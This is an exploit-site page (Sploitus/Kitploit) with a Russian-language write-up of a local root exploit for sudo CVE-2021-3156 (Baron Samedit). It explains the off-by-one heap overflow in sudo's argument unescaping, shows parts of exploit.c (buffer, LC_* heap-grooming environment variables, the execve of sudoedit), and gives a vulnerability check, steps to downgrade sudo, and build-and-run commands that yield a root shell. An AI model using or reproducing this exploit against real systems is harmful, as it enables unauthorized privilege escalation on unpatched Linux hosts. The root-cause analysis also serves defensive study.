Sploitus

Exploit for cve-2021-3156 CVE-2021-3156

kitploit · 2026-08-26

Exploit Code

MARKDOWN180 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DAKERQIRSZH-CVE-2021-3156
# CVE-2021-3156 -- Baron Samedit

### Среда уязвимости

Создание образа с помощью Dockerfille

root@kitploit:~
    
    
    docker build -t cve-2021-3156:ubuntu2004 .
    

Создание контейнера с помощью образа

root@kitploit:~
    
    
    docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
    

### Причина уязвимости

В версиях **Sudo до 1.9.5p2** существует ошибка **off-by-one** , которая может привести к **переполнению кучи (heap-based buffer overflow)**.  
Злоумышленник может выполнить:

root@kitploit:~
    
    
    sudoedit -s <аргумент, оканчивающийся на один обратный слэш `\`>
    

и повысить привилегии до root без пароля.

На примере исходного кода sudo версии 1.8.31p1, при выполнении `sudoedit -s` с вводом escape-символа `\` сначала вызывается функция `parse_args` из `parse_args.c`, которая выполняет экранирование. Следующий фрагмент кода обрабатывает экранирование специальных символов.

root@kitploit:~
    
    
    	    for (av = argv; *av != NULL; av++) {
    		for (src = *av; *src != '\0'; src++) {
    		    /* quote potential meta characters */
    		    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
    			*dst++ = '\\';
    		    *dst++ = *src;
    		}
    		*dst++ = ' ';
    	    }
    

Затем, перед сохранением переданных аргументов в кучу или стек, программа вызывает функцию `set_cmnd` из `sudoers.c`, чтобы скопировать аргументы командной строки в память кучи, где удаляются все escape-символы `\` с помощью следующего кода:

root@kitploit:~
    
    
    	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
    		    while (*from) {
    			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
    			    from++;
    			*to++ = *from++;
    		    }
    		    *to++ = ' ';
    		}
    

**Проблема в том, что:** когда `parse_args` не выполняет экранирование (т.е. не вставляет дополнительный `\`), программа всё равно заходит в функцию `set_cmnd` для удаления экранирования, но из-за отсутствия экранирования входного `\` срабатывает условие `if`, символ `\` пропускается, и последующие аргументы копируются в `user_args`. Если скопированные данные слишком длинные, происходит переполнение кучи.

### Эксплуатация уязвимости

#### Процесс эксплуатации

### **Разбор EXP**

Эксплойт состоит из двух частей: `exploit.c` и `shellcode.c`. `exploit.c` отвечает за формирование `argv` и `envp`, вызов `sudoedit` через `execve` и эксплуатацию через переполнение кучи.

  * В `exploit.c` программа создаёт буфер размером `0xf0` (`buf`) для точного управления раскладкой кучи, используя переполнение буфера для перезаписи критических структур. Размер переполнения контролируется заполнением `buf` (`'Y'` и `\`), после чего вызывается `sudoedit` через `execve`.



root@kitploit:~
    
    
    	char buf[0xf0] = {0};
    	memset(buf, 'Y', 0xe0);
    	strcat(buf, "\");
    
    	char* argv[] = {
    		"sudoedit",
    		"-s",
    		buf,
    		NULL};
    

  * Для настройки кучи используются переменные окружения `LC_*`. Благодаря их раскладке целевая структура `service_user` размещается на пути переполнения. Данные переполнения передаются через переменную окружения `overflow` и перезаписывают поля структуры `service_user`.



root@kitploit:~
    
    
    	char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
    	memset(messages + strlen(messages), 'A', 0xb8);
    
    	char overflow[0x500] = {0};
    	memset(overflow, 'X', 0x4cf);
    	strcat(overflow, "\");
    

  * Через массив `envp` данные переполнения передаются в `sudoedit`, перезаписывая целевую структуру и обеспечивая эксплуатацию.



root@kitploit:~
    
    
    	char* envp[] = {
    		overflow,
    		"\", "\", "\", "\", "\", "\", "\", "\",
    		"XXXXXXX\",
    		// часть содержимого опущена
    		NULL};
    

  * В итоге выполнение `sudoedit` запускается через `execve`.



root@kitploit:~
    
    
    	execve("/usr/bin/sudoedit", argv, envp);
    

* * *

### **Выполнение эксплуатации**

Тестировалось на Ubuntu 20.04 с sudo 1.8.31.

Проверить, уязвима ли ваша версия sudo, можно командой:

root@kitploit:~
    
    
    $ sudoedit -s Y
    

Если запрашивается пароль — скорее всего, уязвимость присутствует; если выводится подсказка по использованию — уязвимости нет.

Для тестирования можно понизить версию sudo на Ubuntu 20.04 до уязвимой:

root@kitploit:~
    
    
    $ sudo apt install sudo=1.8.31-1ubuntu1
    

Использование: Выполните `make` для компиляции и запуска эксплойта:

root@kitploit:~
    
    
    $ make
    $ ./exploit
    

#### Результат эксплуатации

После успешной эксплуатации получена интерактивная root-оболочка, позволяющая выполнять привилегированные операции.

![Результат эксплуатации](https://assets.kitploit.com/production/public/readmes/35513/b8dd2509b1c713e1f0031c66da4b2ca64fe18a26a2b9c3e807f72df4a4e9bc51.png)

#### Обход механизмов защиты

  * RELRO
  * NX
  * ASLR
  * PIE
  * AppArmor / SELinux
  * Stack Canaries